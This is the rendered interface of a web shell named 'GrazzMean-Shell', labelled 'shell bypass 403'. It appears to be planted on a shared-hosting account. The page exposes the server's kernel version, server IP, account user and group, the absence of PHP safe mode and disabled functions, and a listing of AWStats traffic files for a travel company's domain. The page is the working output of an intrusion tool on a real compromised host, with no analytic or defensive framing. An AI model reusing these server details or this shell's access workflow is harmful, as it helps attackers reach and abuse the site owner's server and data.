shell bypass 403

GrazzMean-Shell Shell

: /home/travtpib/tmp/awstats/ssl/ [ drwx------ ]
Uname: Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 68.65.120.251
Your Ip: 3.128.190.205
User: travtpib (6521) | Group: travtpib (6478)
Safe Mode: OFF
Disable Function:
NONE
name last edit size owner:downer permission options
..
awstats.travelsquare-om.com.conf 2025-05-01 20:04:25 23.23 KB travtpib:travtpib -rw-r--r--
awstats012023.travelsquare-om.com.txt 2023-02-01 19:41:01 48.27 KB travtpib:travtpib -rw-r--r--
awstats012024.travelsquare-om.com.txt 2024-02-01 19:21:14 41.71 KB travtpib:travtpib -rw-r--r--
awstats012025.travelsquare-om.com.txt 2025-02-01 20:33:21 85.53 KB travtpib:travtpib -rw-r--r--
awstats022023.travelsquare-om.com.txt 2023-03-01 19:43:48 43.06 KB travtpib:travtpib -rw-r--r--
awstats022024.travelsquare-om.com.txt 2024-03-01 19:32:38 52.7 KB travtpib:travtpib -rw-r--r--
awstats022025.travelsquare-om.com.txt 2025-03-01 19:50:14 260.76 KB travtpib:travtpib -rw-r--r--
awstats032023.travelsquare-om.com.txt 2023-04-01 19:45:13 60.35 KB travtpib:travtpib -rw-r--r--
awstats032024.travelsquare-om.com.txt 2024-04-01 19:27:20 46.5 KB travtpib:travtpib -rw-r--r--
awstats032025.travelsquare-om.com.txt 2025-04-01 19:55:17 1.03 MB travtpib:travtpib -rw-r--r--
awstats042023.travelsquare-om.com.txt 2023-05-01 19:49:40 89.34 KB travtpib:travtpib -rw-r--r--
awstats042024.travelsquare-om.com.txt 2024-05-01 19:31:54 46.82 KB travtpib:travtpib -rw-r--r--
awstats042025.travelsquare-om.com.txt 2025-05-01 20:04:40 159.86 KB travtpib:travtpib -rw-r--r--
awstats052023.travelsquare-om.com.txt 2023-06-01 19:42:42 84.51 KB travtpib:travtpib -rw-r--r--
awstats052024.travelsquare-om.com.txt 2024-06-01 19:50:44 53.79 KB travtpib:travtpib -rw-r--r--
awstats052025.travelsquare-om.com.txt 2025-05-01 20:04:47 38.08 KB travtpib:travtpib -rw-r--r--
awstats062023.travelsquare-om.com.txt 2023-07-01 19:54:29 58.96 KB travtpib:travtpib -rw-r--r--
awstats062024.travelsquare-om.com.txt 2024-07-01 20:18:44 56.82 KB travtpib:travtpib -rw-r--r--
awstats072023.travelsquare-om.com.txt 2023-08-02 12:47:56 112.63 KB travtpib:travtpib -rw-r--r--
awstats072024.travelsquare-om.com.txt 2024-08-01 20:25:47 61.16 KB travtpib:travtpib -rw-r--r--
awstats082023.travelsquare-om.com.txt 2023-09-01 18:33:15 81.56 KB travtpib:travtpib -rw-r--r--
awstats082024.travelsquare-om.com.txt 2024-09-01 20:16:18 64.83 KB travtpib:travtpib -rw-r--r--
awstats092023.travelsquare-om.com.txt 2023-10-01 19:27:37 74.43 KB travtpib:travtpib -rw-r--r--
awstats092024.travelsquare-om.com.txt 2024-10-01 20:27:20 87.19 KB travtpib:travtpib -rw-r--r--
awstats102022.travelsquare-om.com.txt 2022-11-01 20:38:42 32.33 KB travtpib:travtpib -rw-r--r--
awstats102023.travelsquare-om.com.txt 2023-11-01 19:19:10 52.86 KB travtpib:travtpib -rw-r--r--
awstats102024.travelsquare-om.com.txt 2024-11-01 20:11:14 74.82 KB travtpib:travtpib -rw-r--r--
awstats112022.travelsquare-om.com.txt 2022-12-01 20:16:05 46.64 KB travtpib:travtpib -rw-r--r--
awstats112023.travelsquare-om.com.txt 2023-12-01 19:29:05 51.01 KB travtpib:travtpib -rw-r--r--
awstats112024.travelsquare-om.com.txt 2024-12-01 20:15:23 163.8 KB travtpib:travtpib -rw-r--r--
awstats122022.travelsquare-om.com.txt 2023-01-01 20:14:21 61.13 KB travtpib:travtpib -rw-r--r--
awstats122023.travelsquare-om.com.txt 2024-01-01 19:27:23 47.59 KB travtpib:travtpib -rw-r--r--
awstats122024.travelsquare-om.com.txt 2025-01-01 20:43:29 116.93 KB travtpib:travtpib -rw-r--r--
© 2025 GrazzMean-Shell